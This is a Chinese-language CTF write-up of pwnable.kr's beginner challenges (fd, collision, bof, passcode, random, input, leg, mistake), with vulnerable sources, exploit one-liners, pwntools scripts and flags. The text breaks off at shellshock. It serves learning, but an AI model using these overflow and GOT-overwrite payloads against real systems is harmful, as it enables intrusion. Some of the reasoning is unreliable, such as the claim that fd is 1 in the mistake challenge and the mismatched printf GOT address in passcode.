pwnable.kr - Toddler's Bottle 部分writeup

Toddler's Bottle vey

包含了 Toddler's Bottle 这一节的除了 UAF 和 unlink 以外的 writeup.
(一看就知道还不会利用堆漏洞)

更: 又多了 blukat 和 horcruses......

[fd]

Mommy! what is a file descriptor in Linux?

ssh fd@pwnable.kr -p2222 (pw:guest)

ls可以看到三个文件, 其中flag文件无法直接读取(好像是废话...)

1
2
3
4
fd@ubuntu:~$ ls
fd fd.c flag
fd@ubuntu:~$ cat flag
cat: flag: Permission denied

flag.c 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

发现获得flag的要求是传入n, 使得 read 从 n - 0x1234 读取字符串,

再判断该字符串是否与 LETMEWIN 相等

Google 一下获知以下内容

value name
0 stdin
1 stdout
2 stderr

那么 n 应该为 0 + 0x1234 = 4660

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

flag 为 mommy! I think I know what a file descriptor is!!

[collision]

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

col.c内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

我们的目标是传入一个字符串 使得 check_password 的校验值为 0x21DD09EC

check_passcode 将传入的 char* 强制转换为 int* 再相加

一开始是想写脚本碰撞, 后来发现这个算法很简单, 完全可以手动构造一个

hashcode = 0x21DD09EC = 0x06C5CEC8*4 + 0x06C5CECC

只需要注意小端序与python版本, py3可能是默认编码是UTF-8的原因
直接使用Python3不好处理

1
2
col@ubuntu:~$ ./col $(python2 -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')")
daddy! I just managed to create a hash collision :)

flag 为 daddy! I just managed to create a hash collision :)

bof

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

首先看看 bof.c 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

溢出点是 gets 函数

目标很简单, 一直溢出到 func 参数部分被 0xcafebabe 覆盖即可

看一下二进制文件, 确认是32位

1
2
3
4
5
6
7
> checksec --file bof
[*] '/home/zhonghua/writeup/pwnable.kr/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

拖进 IDA , 反编译得知要覆盖 0x2c + 0x4 + 0x4 才到参数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int __cdecl func(int a1)
{
char s; // [esp+1Ch] [ebp-2Ch]
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
puts("overflow me : ");
gets(&s);
if ( a1 == -889275714 )
system("/bin/sh");
else
puts("Nah..");
return __readgsdword(0x14u) ^ v3;
}

直接用 pwntools 写

在本地是毫无悬念地通过了, 然而远程服务器试了几次才过

比较迷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python2
# -*- coding: utf-8

from pwn import *

context.log_level = 'DEBUG'

io = remote('pwnable.kr', 9000)

payload = flat(['a' * (0x2C + 0x8), 0xcafebabe])

io.sendline(payload)

io.interactive()

flag为 daddy, I just pwned a buFFer :)

flag

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

二进制世家啊这是

file一下flag, 得知是64位ELF

1
2
> file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

chmod +x后执行一下

1
2
3
> chmod +x flag
> ./flag
I will malloc() and strcpy the flag there. take it.

但是这个文件 IDA 打开就只要三个函数, 完全看不懂在干嘛...

下断点在strcpy处也不行, 似乎是因为strip过的原因

在IDA各个视图间切换的的时候, 突然看到了Hex视图里有upx的字样,
仔细一看这个文件是upx压缩过的

那就没问题了, upx -d 解压文件

再拖入 IDA, 发现flag是以明文存储, 直接复制

得到 flag UPX...? sounds like a delivery service :)

passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

连上去ls一下 flag + 题目名 + 题目名.c 的熟悉配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

gcc编译一下, 果然有warning

1
2
3
4
5
6
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);

scanf 的参数没有取地址...这鬼知道我的数据被存到哪儿去了
Welcome 处可以溢出一个字节....然而并没有什么卵用, passcode1 和 passcode2 的值看起来完全没有办法改变

顺着以下思路

passcode的值没有变 -> 内容为随机值? -> 说随机也不准确, 内存中这个地方原来是什么就是什么 -> 原来这里是什么值? -> !是name的值

因为

338150 = 0x000528E6 13371337 = 00CC07C9

那么只要将这两个数字以字符串形式输入就行了

于是 python -c 'print "\xE6\x28\x05\x00\xC9\x07\xCC\x00"'|./passcode

果不其然地失败了

仔细想想好像应该加在末尾才对, 试了试还是失败了

又想了想某些程序开了Canary,
除了代码中声明的那些变量可能还有Canary变量在buffer中

emm......还是把文件拖下来用IDA分析一下比较好

1
2
3
4
5
welcome参数的栈结构      login函数的栈结构
| 0x70 | name | | | |
| | | | 0x10 | passcode1 |
| 0x0C | canary | | 0x0C | passcode2 |
| 0x00 | ebp | | 0x00 | ebp |

呆呆的.jpg

passcode2的位置是原先canary的位置, 那passcode2的值我似乎完全控制不了....

不过我可以控制 passcode1 的值, 再搭配没有取地址的 scanf 函数,
我就拥有了任意地址写的能力

然而经验不足还是不知道有这种能力能干啥

Google一番后了解到拥有任意地址写的能力以后我们可以改 PLT 表,
相当于 Hook 任意函数?

那么这个地方我们可以利用 name 让 passcode1 的值为PLT表中 printf 函数项的地址 0x0804A03C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> readelf -r passcode

重定位节 '.rel.dyn' 位于偏移量 0x388 含有 2 个条目:
偏移量 信息 类型 符号值 符号名称
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0

重定位节 '.rel.plt' 位于偏移量 0x398 含有 9 个条目:
偏移量 信息 类型 符号值 符号名称
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7

然后在这个地址写入调用system函数的汇编语句的位置 0x080485E3 = 134514147

1
2
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
1
2
3
4
5
passcode@ubuntu:~$ python -c 'print "a" * 96 + "\x00\xA0\x04\x08" + "134514147"'|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

flag为 Sorry mom.. I got confused about scanf usage :(

random

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

cat random.c 看内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

获得flag的要求是我输入的 key 和 random 异或起来的值等于 0xdeadbeef

Google一下得知 rand() 在先前没有调用 srand(seed) 时, 会初始化随机数种子为1

那直接写个程序算一算 rand()^0xdeadbeef 是多少就行了

1
2
3
4
5
6
7
8
#include <stdlib.h>

int main(void)
{
printf("%d\n", rand() ^ 0xdeadbeef);

return 0;
}

结果是 -1255736440

运行, 输入, GET FLAG!

flag为 Mommy, I thought libc random is unpredictable...

input

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

题目有五关, 一个个分析吧

第一关

1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

通过要求: 要有100个参数, 其中第 'A' 个为 "\x00",
第 'B' 个为 "\x20\x0a\x0d"

一开始尝试用shell传递, ./input $(python -c "xxx") 这种,

无果, 于是试着直接用 Python,
但是因惯性思维影响在 Python 中还是继续传 "\x00"

忘记了空字符串末尾就有一个 '\x00'了

解题脚本如下

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

io = process(['./test', *['a'] * 64, '', '\x20\x0a\x0d', *['a'] * 33])

print(io.recv())

io.close()

第二关

1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

分别从stdin和stderr读取四个字符, 要求分别是 "\x00\x0a\x00\xff"和 "\x00\x0a\x02\xff"

试了一下直接io.sendline() 果不其然地失败了, NUL是个不好处理的玩意儿啊

Google得知这个地方要用著名的IO重定向, 但是C语言代码太复杂了, 还是想用Python

Google了一下还是找到了做法, 不过很迷为什么StringIO/BytesIO不行呢, 会提示
io.UnsupportedOperation: not writable

创建临时文件总是感觉不是很干净

1
2
3
4
5
6
7
8
9
10
11
12
with open('stdin.txt', 'wb') as f:
f.write(b'\x00\x0a\x00\xff')

with open('stderr.txt', 'wb') as f:
f.write(b'\x00\x0a\x02\xff')

stdin = open('stdin.txt', 'rb')
stderr = open('stderr.txt', 'rb')

io = process(['./test', *['a'] * 64, '', '\x20\x0a\x0d', *['a'] * 33], stdin=stdin, stderr=stderr)

print(io.recv())

第三关

1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

第三关要求环境变量 "\xde\xad\xbe\xef" 的值为 "\xca\xfe\xba\xbe"

process的env参数可以指定环境变量, 这关不难

1
2
3
4
5
env = {
b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'
}

io = process(['./test', *['a'] * 64, '', '\x20\x0a\x0d', *['a'] * 33], env=env, stdin=stdin, stderr=stderr)

第四关

1
2
3
4
5
6
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

第四关, 以只读模式打开 "\x0a" 文件, 读取四个字节, 要求是四个NUL

直接建个文件就行了

1
2
with open('\x0a', 'wb') as f:
f.write(b'\x00\x00\x00\x00')

第五关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

一脸懵逼

查了下大概就是监听了argv['C'] 所表示的端口,
直接用 remote 连接就可以发送数据了

1
2
3
4
5
io = process(['./test', *['a'] * 64, '', '\x20\x0a\x0d', '23233', *['a'] * 32], env=env, stdin=stdin, stderr=stderr)

net = remote('127.0.0.1', 23233)
net.send(b'\xde\xad\xbe\xef')
net.close()

在写这关的时候, 我发现了几件比较悲剧的事情

  • 我用的是Python3
  • 我在题目服务器上没有权限在当前创建文件

第一点改一改 process 第一个参数的生成方式, 不要用Python3的 * 就行了

第二点可以将 CWD设 置为 /tmp/, /tmp/下我拥有创建文件的权限,
不过需要注意这样就必须将 input 路径写全 python-oserror-errno-2-no-such-file-or-directory

然而又发现虽然这样五关都过了, 但是身在/tmp/目录的 process 读不到 /homt/input2 下的flag文件...

试着建立了symbolic link, 但还是读不到

后来去吃饭电脑休眠, 回来后重连ssh的时候发现了这么一段话

files under /tmp can be erased anytime. make your directory under /tmp

然后在/tmp下创建新目录, 再cd进去 ln -s /home/input2/flag flag 可算成功了

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
from random import randint
import os
import platform

if not os.path.exists('/tmp/zhonghua'):
os.mkdir('/tmp/zhonghua')

if 'MANJARO' in platform.platform():
pwd = '/home/zhonghua/writeup/pwnable.kr/'
else:
pwd = '/home/input2/'

port = randint(10000, 65535)

context.log_level = 'DEBUG'

with open('/tmp/zhonghua/stdin.txt', 'wb') as f:
f.write(b'\x00\x0a\x00\xff')

with open('/tmp/zhonghua/stderr.txt', 'wb') as f:
f.write(b'\x00\x0a\x02\xff')

with open('/tmp/zhonghua/\x0a', 'wb') as f:
f.write(b'\x00\x00\x00\x00')

stdin = open('/tmp/zhonghua/stdin.txt', 'r')
stderr = open('/tmp/zhonghua/stderr.txt', 'r')

env = {
b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe',
'PWD': pwd
}

arg = [pwd + 'input'] + ['a'] * 64 + ['', '\x20\x0a\x0d', str(port)] + ['a'] * 32

# 下面的代码不兼容python2.....
# io = process(['./test', *['a'] * 64, '', '\x20\x0a\x0d', '23233', *['a'] * 32], env=env, stdin=stdin, stderr=stderr)
io = process(arg, cwd='/tmp/zhonghua/', env=env, stdin=stdin, stderr=stderr)

# 先等它准备好...
sleep(1)
net = remote('localhost', port)
net.send(b'\xde\xad\xbe\xef')
# sleep(1)
print(io.recv().decode())

net.close()
io.close()

flag为 Mommy! I learned how to pass various input in Linux :)

到头来其实根本没比C语言简单

leg

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

看不懂看不懂, 这是什么俚语吗

首先放代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

上面的代码让我有些懵逼, 加上 ssh 连上题目服务器后一大堆调试信息铺面而来,
不过退出的时候看见了 qemu-system-arm 字样, 冷静分析过后我总算是明白了: 这次的平台是arm

用不了 F5 了....

ARM汇编简介

先来学习一下arm汇编

  • pc 保存着即将执行的指令的地址
  • r3 保存函数返回值(写起来像是这样的)
  • r0 保存函数返回值(反汇编的结果好像是这样的)
  • # 是常量标识符
  • lr 保存着调用者调用完自己后应该执行的下一条指令的地址(调用者的pc)

key1

1
2
3
4
5
6
7
0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

r3 的值就是 pc 的值, pc的值在执行 mov r3, pc 时为 0x8cdc + 0x8.
(arm流水作业特性, 没看懂...)

总之最终返回 0x8ce4

key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

首先 add r6, pc, #1 , r6的值为 0x8cfc + 8 + 1=0x8d05

bx r6 跳转到r6表示的地址, 并且根据最低位(1/0)判断进入(thumb/arm)模式, 这个地方显然是进入 thumb 状态

下面两行使 r3=0x8d04+0x4+4 , 由于thumb模式下一条指令两个字节, 所以这次pc只+0x4

然后就这么执行下去, 最终返回 0x08d0c

key3

1
2
3
4
5
6
7
0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

mov r3, lr r3的值为lr的值

1
2
0x00008d7c <+64>:    bl  0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0

看下 main 函数的反汇编, 可以发现下一条指令的地址为 0x8d80

那么返回值就是 0x8d80 了

最终结果 0x8ce4+0x8d0c+0x8d80=108400

输入得到flag My daddy has a lot of ARMv5te muscle!

mistake

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

提示我们这个地方不需要任何 fancy 的 hacking skill, 并且基于真实事件

还提示了我们这个是和符号优先级有关的错误

mistake.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

题目要求我们输入一个10位密码, 每位与1异或以后再判断是否和./password文件中的密码相等(这个文件我们没有权限读取)

并且为了防止爆破加上了延时

题目已经提醒了是符号优先级, 我们把代码读一遍就可以发现
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
这行代码是存在问题的

=的优先级小于<, 所以这段代码相当于将 open("...") < 0 的值赋给了fd, fd的值只有0和1两种可能

既然我们能够正常执行, 那这个地方就是1了, 为1的话看起来是从 stdout 中读取数据, 不过在控制台中似乎效果和 stdin 是一样的

那么这个地方就相当于我们可以控制密码的值, 随便找个数挨位异或一下

如 0325476981 和 1234567890, 然后执行./mistake,
等光标不闪的时候先后输入这两个数

flag: Mommy, the operator priority always confuses me :(

shellshock

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

和 bash 有关? 沙盒逃逸之类的么

1
2
3
4
5
6
shellshock@ubuntu:~$ ls -l
total 960
